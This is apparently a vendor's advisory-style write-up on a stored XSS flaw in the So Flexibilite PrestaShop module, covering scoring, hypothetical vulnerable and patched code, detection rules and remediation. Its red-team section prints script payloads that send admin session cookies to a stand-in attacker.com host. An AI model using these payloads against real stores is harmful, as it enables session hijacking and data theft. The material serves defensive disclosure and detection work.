CVE-2024-25841

Executive Summary

CVE-2024-25841 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the "So Flexibilite" (soflexibilite) module by Common-Services for PrestaShop. An authenticated guest (customer-level) attacker can inject arbitrary JavaScript into the application, which will be executed in the browsers of other users, including administrators. This can lead to session hijacking, defacement, or theft of sensitive data. The vulnerability affects all versions prior to 4.1.26. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the PrestaShop Addons marketplace. The module is not available on NPM, PyPI, Go, or Ruby registries. The risk is limited to PrestaShop installations that have purchased and installed the "So Flexibilite" module. Users should verify the integrity of the module file and ensure it is obtained from the official vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated customer)
• User Interaction: Required (victim must view the injected content)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation via admin session hijacking increases the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the soflexibilite module's handling of user-supplied input, likely in fields such as customer notes, custom order fields, or configuration options. The module fails to properly sanitize or escape output before rendering it in the browser. An authenticated attacker can inject malicious HTML/JavaScript payloads into these fields. When an administrator or other user views the affected page (e.g., order details, customer list), the payload executes in their browser context.

The attack flow:

1. Attacker logs in as a customer.
2. Attacker navigates to a vulnerable form (e.g., adding a note to an order).
3. Attacker submits a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. An administrator views the order or customer record.
6. The payload executes, potentially stealing the admin's session cookie or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (example - hypothetical, based on common PrestaShop patterns):

// In a controller or template
public function displayOrderNote($note)
{
    // Direct output without escaping
    echo $note;
}

Patched Code (version 4.1.26):

// In a controller or template
public function displayOrderNote($note)
{
    // Properly escape output using PrestaShop's built-in function
    echo Tools::safeOutput($note);
}

The patch uses Tools::safeOutput() (or equivalent) to HTML-encode special characters, preventing script injection. The exact fix may also include input validation and output encoding in Twig templates using the escape filter.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with soflexibilite module version < 4.1.26.
• A valid customer account (can be self-registered if registration is open).

Exploitation Steps:

1. Log in as a customer.
2. Identify a vulnerable input field (e.g., order note, custom field).
3. Inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the affected page.
6. The cookie is exfiltrated to the attacker's server.

Example Payload (session hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual input patterns in order notes or custom fields (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests to suspicious external domains from the PrestaShop admin area.
• Use WAF rules to block common XSS payloads.

Hardening:

• Immediately upgrade to version 4.1.26.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enable HttpOnly and Secure flags on session cookies.
• Regularly audit third-party modules for security updates.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the PrestaShop server.
  • Requests containing document.cookie in the query string.
• File IOCs:
  • Modified or unexpected entries in the ps_soflexibilite database tables (e.g., note fields containing <script> tags).
• Log IOCs:
  • Web server logs showing GET /index.php?controller=AdminOrders&... followed by a request to an external IP.
  • Error logs containing XSS or script in user input fields.

Detection Engineering

YARA Rule

rule CVE_2024_25841_SoFlexibilite_XSS {
    meta:
        description = "Detects stored XSS payloads in So Flexibilite module database dumps"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25841"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in So Flexibilite Module
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in PrestaShop order notes or custom fields
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25841
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25841 So Flexibilite XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the soflexibilite module to version 4.1.26 or later via the PrestaShop back office or by downloading from the vendor.
2. Verify: After upgrade, clear PrestaShop cache and check that no malicious content remains in the database.
3. Audit: Review all customer-submitted content (notes, custom fields) for signs of XSS.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly update all PrestaShop modules and core.
• Conduct periodic security scans of the application.

Workaround (if upgrade is not immediately possible):

• Disable the soflexibilite module temporarily.
• Manually sanitize output in the module's template files (not recommended for production).

Valters IT